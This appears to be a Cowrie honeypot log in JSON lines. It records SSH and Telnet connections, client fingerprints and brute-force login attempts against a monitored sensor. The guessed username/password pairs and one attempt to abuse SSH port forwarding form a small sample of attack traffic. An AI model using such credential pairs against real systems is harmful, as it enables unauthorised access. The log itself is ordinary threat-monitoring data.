{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:58:07.741189Z","src_ip":"2.57.121.112","session":"f8500b20efeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:58:07.842511Z","src_ip":"2.57.121.112","session":"f8500b20efeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"paulina1","message":"login attempt [admin/paulina1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:58:08.322040Z","src_ip":"2.57.121.112","session":"f8500b20efeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"paste","message":"login attempt [admin/paste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:58:09.426830Z","src_ip":"2.57.121.112","session":"f8500b20efeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pasta1","message":"login attempt [admin/pasta1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:58:10.531780Z","src_ip":"2.57.121.112","session":"f8500b20efeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.722688913345337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:58:11.284701Z","src_ip":"69.6.249.0","session":"49fba75ca68c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password23","message":"login attempt [admin/password23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:58:11.636322Z","src_ip":"2.57.121.112","session":"f8500b20efeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"passio","message":"login attempt [admin/passio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:58:12.743667Z","src_ip":"2.57.121.112","session":"f8500b20efeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:58:13.849389Z","src_ip":"2.57.121.112","session":"f8500b20efeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.150833129882812,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:58:18.629879Z","src_ip":"69.6.249.0","session":"7304180e9746","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.44","src_port":44096,"dst_ip":"159.203.135.109","dst_port":22,"session":"e23964f84793","protocol":"ssh","message":"New connection: 94.26.106.44:44096 (159.203.135.109:22) [session: e23964f84793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:59:05.130083Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:59:05.134211Z","src_ip":"94.26.106.44","session":"e23964f84793","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.44","src_port":44104,"dst_ip":"159.203.135.109","dst_port":22,"session":"91e74a6af6ea","protocol":"ssh","message":"New connection: 94.26.106.44:44104 (159.203.135.109:22) [session: 91e74a6af6ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:59:05.281440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:59:05.286969Z","src_ip":"94.26.106.44","session":"91e74a6af6ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:59:05.375326Z","src_ip":"94.26.106.44","session":"91e74a6af6ea","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:59:05.555505Z","src_ip":"94.26.106.44","session":"91e74a6af6ea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"94.26.106.44","dst_port":80,"src_ip":"94.26.106.44","src_port":5555,"message":"direct-tcp connection request to 94.26.106.44:80 from 127.0.0.1:5555","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:59:05.647374Z","session":"91e74a6af6ea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"94.26.106.44","dst_port":80,"data":"b'RyNs0qr9AXwdOPKyv3xojFcvcej4aBOpkx6ejS3010yb64cv22'","id":0,"message":"discarded direct-tcp forward request 0 to 94.26.106.44:80 with data b'RyNs0qr9AXwdOPKyv3xojFcvcej4aBOpkx6ejS3010yb64cv22'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:59:05.737417Z","src_ip":"94.26.106.44","session":"91e74a6af6ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:59:05.840698Z","src_ip":"94.26.106.44","session":"91e74a6af6ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":119.47519254684448,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:59:09.437130Z","src_ip":"212.55.149.117","session":"06458cbcab40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":43442,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa95500df239","protocol":"ssh","message":"New connection: 80.94.92.186:43442 (159.203.135.109:22) [session: aa95500df239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:59:33.185207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:59:33.429295Z","src_ip":"80.94.92.186","session":"aa95500df239","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:59:33.432911Z","src_ip":"80.94.92.186","session":"aa95500df239","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solr","password":"solr","message":"login attempt [solr/solr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:59:34.668565Z","src_ip":"80.94.92.186","session":"aa95500df239","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:59:35.945561Z","src_ip":"80.94.92.186","session":"aa95500df239","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47592,"dst_ip":"159.203.135.109","dst_port":23,"session":"2de1b668d8bd","protocol":"telnet","message":"New connection: 128.199.8.54:47592 (159.203.135.109:23) [session: 2de1b668d8bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:59:41.637918Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.168.57","src_port":35116,"dst_ip":"10.17.0.5","dst_port":23,"session":"594acccbe898","protocol":"telnet","message":"New connection: 68.178.168.57:35116 (10.17.0.5:23) [session: 594acccbe898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:59:59.279465Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.96.190.108","src_port":48488,"dst_ip":"159.203.135.109","dst_port":23,"session":"11e21fe31b0e","protocol":"telnet","message":"New connection: 179.96.190.108:48488 (159.203.135.109:23) [session: 11e21fe31b0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:00:02.628364Z"}
{"eventid":"cowrie.session.closed","duration":31.82954978942871,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:00:13.467354Z","src_ip":"128.199.8.54","session":"2de1b668d8bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11718988418579,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:00:30.396562Z","src_ip":"68.178.168.57","session":"594acccbe898","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.310572147369385,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:00:44.938822Z","src_ip":"179.96.190.108","session":"11e21fe31b0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":33178,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b6fe5d15c9f","protocol":"ssh","message":"New connection: 103.15.226.202:33178 (10.17.0.5:22) [session: 7b6fe5d15c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:00:53.150132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:00:53.154670Z","src_ip":"103.15.226.202","session":"7b6fe5d15c9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:00:53.397499Z","src_ip":"103.15.226.202","session":"7b6fe5d15c9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"........","message":"login attempt [root/........] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:00:54.123348Z","src_ip":"103.15.226.202","session":"7b6fe5d15c9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:00:55.370281Z","src_ip":"103.15.226.202","session":"7b6fe5d15c9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":23464,"dst_ip":"10.17.0.5","dst_port":23,"session":"b017173c0374","protocol":"telnet","message":"New connection: 212.55.149.117:23464 (10.17.0.5:23) [session: b017173c0374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:00:57.930975Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":60611,"dst_ip":"10.17.0.5","dst_port":23,"session":"1eacd44f99b1","protocol":"telnet","message":"New connection: 212.55.149.117:60611 (10.17.0.5:23) [session: 1eacd44f99b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:01:06.303550Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":46082,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f08e1164d8e","protocol":"ssh","message":"New connection: 80.94.92.186:46082 (159.203.135.109:22) [session: 9f08e1164d8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:02:36.901898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:02:37.015773Z","src_ip":"80.94.92.186","session":"9f08e1164d8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:02:37.019700Z","src_ip":"80.94.92.186","session":"9f08e1164d8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!QAZ2wsx","message":"login attempt [ubuntu/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:02:37.976962Z","src_ip":"80.94.92.186","session":"9f08e1164d8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:02:39.229760Z","src_ip":"80.94.92.186","session":"9f08e1164d8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0062644481659,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:02:57.937138Z","src_ip":"212.55.149.117","session":"b017173c0374","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":119.55473613739014,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:03:05.858151Z","src_ip":"212.55.149.117","session":"1eacd44f99b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.195","src_port":39268,"dst_ip":"10.17.0.5","dst_port":22,"session":"9615cd69bfe6","protocol":"ssh","message":"New connection: 92.118.39.195:39268 (10.17.0.5:22) [session: 9615cd69bfe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:03:14.923587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:03:14.928874Z","src_ip":"92.118.39.195","session":"9615cd69bfe6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:03:15.033112Z","src_ip":"92.118.39.195","session":"9615cd69bfe6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:03:15.482437Z","src_ip":"92.118.39.195","session":"9615cd69bfe6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52394,"dst_ip":"159.203.135.109","dst_port":23,"session":"f156eb32b5b9","protocol":"telnet","message":"New connection: 128.199.8.54:52394 (159.203.135.109:23) [session: f156eb32b5b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:03:49.171216Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54312,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f9e49b88f05","protocol":"telnet","message":"New connection: 128.199.8.54:54312 (159.203.135.109:23) [session: 5f9e49b88f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:03:50.200176Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.41.112.117","src_port":49980,"dst_ip":"10.17.0.5","dst_port":23,"session":"595e8ebc119c","protocol":"telnet","message":"New connection: 181.41.112.117:49980 (10.17.0.5:23) [session: 595e8ebc119c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:03:51.353062Z"}
